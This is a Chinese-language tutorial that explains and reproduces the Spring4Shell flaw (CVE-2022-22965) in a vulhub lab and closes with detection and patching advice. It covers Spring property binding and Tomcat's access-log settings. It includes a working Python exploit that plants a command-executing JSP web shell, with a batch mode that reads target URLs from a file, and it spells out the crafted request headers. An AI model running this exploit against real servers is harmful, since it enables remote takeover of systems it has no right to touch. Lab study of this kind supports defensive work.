Spring-Core RCE反序列化漏洞原理与复现
- 1 漏洞介绍
- 1.1 Spring简介
- 1.2 漏洞原理
- 1.3 相关解释
- 2 复现流程
- 2.1 环境搭建
- 2.2 测试
- 2.3 过程分析
- 3 漏洞防御
- 3.1 排查方法
- 3.2 漏洞修复
CVE-2022-22965
1 漏洞介绍
1.1 Spring简介
Spring Boot是由Pivotal团队提供的基于Spring的全新框架,旨在简化Spring应用的初始搭建和开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。
Spring官网给的定义是:Spring Boot是所有基于Spring开发项目的起点。Spring Boot集成了绝大部分目前流行的开发框架,就像 Maven 集成了所有的 JAR 包一样,Spring Boot集成了几乎所有的框架,使得开发者能快速搭建Spring项目。
1.2 漏洞原理
Spring参数自动绑定
获取相关参数后,多级调用getXXX方法,最终通过setXXX方法实现对象的取值和赋值。
如果Java程序某个位置(接口)处可以动态传参,以修改任意对象的属性值,那修改一个文件名和保存路径,写入一个一句话🐎,用蚁剑连接,控制整个项目,即可实现入侵。
这个文件就是Tomcat,利用的就是access_log属性值里面的内容。
1.3 相关解释
在Java程序运行过程中,有时会对类的对象进行动态调用取值和赋值,如果该类有多级属性,每级属性又有各自的get/set方法(比如行政级别划分,每级行政单位都有各自命名的方法;或生物命名,界门纲目科属种名……),要想访问指定子类的某个属性或成员变量,一般方法的依次生成各级类或属性并完成get/set方法就显得代码臃肿不便操作了。
Province
-name : String
-city : City
+String getName()
+setName(String name)
+City getCity()
+setCity(City city)
City
-name : String
-town : Town
+String getName()
+setName(String name)
+County getTown()
+setTown(Town town)
Town
-name : String
+String getName()
+setName(String name)
多级参数自动绑定
假设该Java程序运行在网络上,网站的一处地址为http://xxx.com/yyy?qqq=zzz&province.city.town.name=ttt
,其中ttt
是客户端(浏览器端)传入的参数,Java程序会自动赋值,所调用的链路为:Province.getCity().getTown().setName(“ttt”)。具体实现需要用到工具类:
PropertyDescriptor BeanWrapperlmpl
JDK自带的工具类,Java Bean PropertyDescriptor
,给定一个属性(比如name),就可以自动调用该属性的get和set方法,进行取值和赋值。
/*
* PropertyDescriptor.java
*/
public class PropertyDescriptorDemo {
public static void main(String[] args){
BeanInfo cityBeanInfo = Introspector.getBeanInfo(City.class);
PropertyDescriptor[] descriptors = cityBeanInfo.getPropertyDescriptors();
PropertyDescriptor cityNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
//这里匹配到了name属性的Descriptor,每个属性都有一个对应的Descriptor,组成一个集合。
if (descriptor.getName().equals("name")) {
cityNameDescriptor = descriptor;
//获取set方法
cityNameDescriptor.getWriteMethod().invoke(city, "ttttt");
}
}
System.out.println("After modification: ");
System.out.println("city.name: " + cityNameDescriptor.getReadMethod().invoke(city));
}
}
Spring自带,BeanWrapperlmpl
,是对PropertyDescriptor的包装,用于对Spring容器中管理的对象,自动调用get和set方法,进行取值和赋值。
/*
* BeanWrapper.java
*/
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
BeanWrapper cityBeanWrapper = new BeanWrapperImpl(city);
cityBeanWrapper.setAutoGrowNestedPaths(true);
//直接指定要修改的属性名和属性值即可修改
cityBeanWrapper.setPropertyValue("name", "ttttt");
cityBeanWrapper.setPropertyValue("town.name", "tt");
System.out.println("city.name: " + cityBeanWrapper.getPropertyValue("name"));
System.out.println("city.town.name: " + cityBeanWrapper.getPropertyValue("town.name"));
}
}
access_log属性
在tomcat根目录\conf\
路径下有一个配置文件server.xml
,在最下面😑定义了一个类:
<!-- Access log processes all example.
Documentation at: /docs/config/valve.html
Note: The pattern used is equivalent to using pattern="common" -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
类名 | org.apache.catalina.valves.AccessLogValve |
属性名 | 含义 |
directory | access_log文件输出目录 |
prefix | access_log文件名前缀 |
suffix | access_log文件名后缀 |
pattern | access_log文件内容格式 |
fileDateFormat | access_log文件名日期后缀,默认为.yyyy-MM-dd |
2 复现流程
Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK ≥ 9
2.1 环境搭建
vulhub靶场
#1 下载靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
#2 运行
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 关闭靶场
docker-compose down
(启动速度有点慢)访问http://ip:port/?name=Bob&age=25,会出现一行字,即启动成功。
2.2 测试
首先开启流量监控
构造请求地址
http://ip:port/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25
请求发出后,拦截到请求包,修改数据。添加以下内容:
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
然后访问http:ip:port//tomcatwar.jsp?pwd=j&cmd=whoami
如果返回root...
则执行命令成功。
当然,没有复现成功,抓包用的是Burp自带的浏览器,数据有问题。
可以利用脚本,自动化完成如上操作,可排除Burp的bug:
#coding:utf-8
#
import requests
import argparse
from urllib.parse import urljoin
def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = "?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
print(url)
# res = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
res = requests.get(url=(url+data),headers=headers,timeout=15,allow_redirects=False, verify=False)
# print(res.status_code)
# print(res.text)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass
def main():
parser = argparse.ArgumentParser(description='Spring-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)
if __name__ == '__main__':
main()
执行
python poc.python --url=http://ip:port
浏览器访问http://ip:port/tomcatwar.jsp?pwd=j&cmd=whoami
,出现root...
即成功。
2.3 过程分析
用到的反序列化方法
此处仅记录下其调用链为:
class.module.classLoader.resources.context.parent.pipeline.first.pattern User.getClass() java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern
调用过程中缓存了一个class文件。测试过程发送的HTTP请求包的作用就是,在webapps/ROOT
下写入一个名为tomcatwar.jsp
的文件(木马)。
3 漏洞防御
3.1 排查方法
- 是否启用Spring参数绑定功能
- JDK9以上版本
- Tomcat是否独立的,是否开启了Access功能
- 自查可以检查流量是否有
class.module.classLoader.resources.context.parent.pipeline.first.pattern......
的字眼
3.2 漏洞修复
- 官网升级Spring
- 升级tomcat
- 更新WAF
- 开发时,如果遇到ClassLoader和ProtectionDomain,直接跳过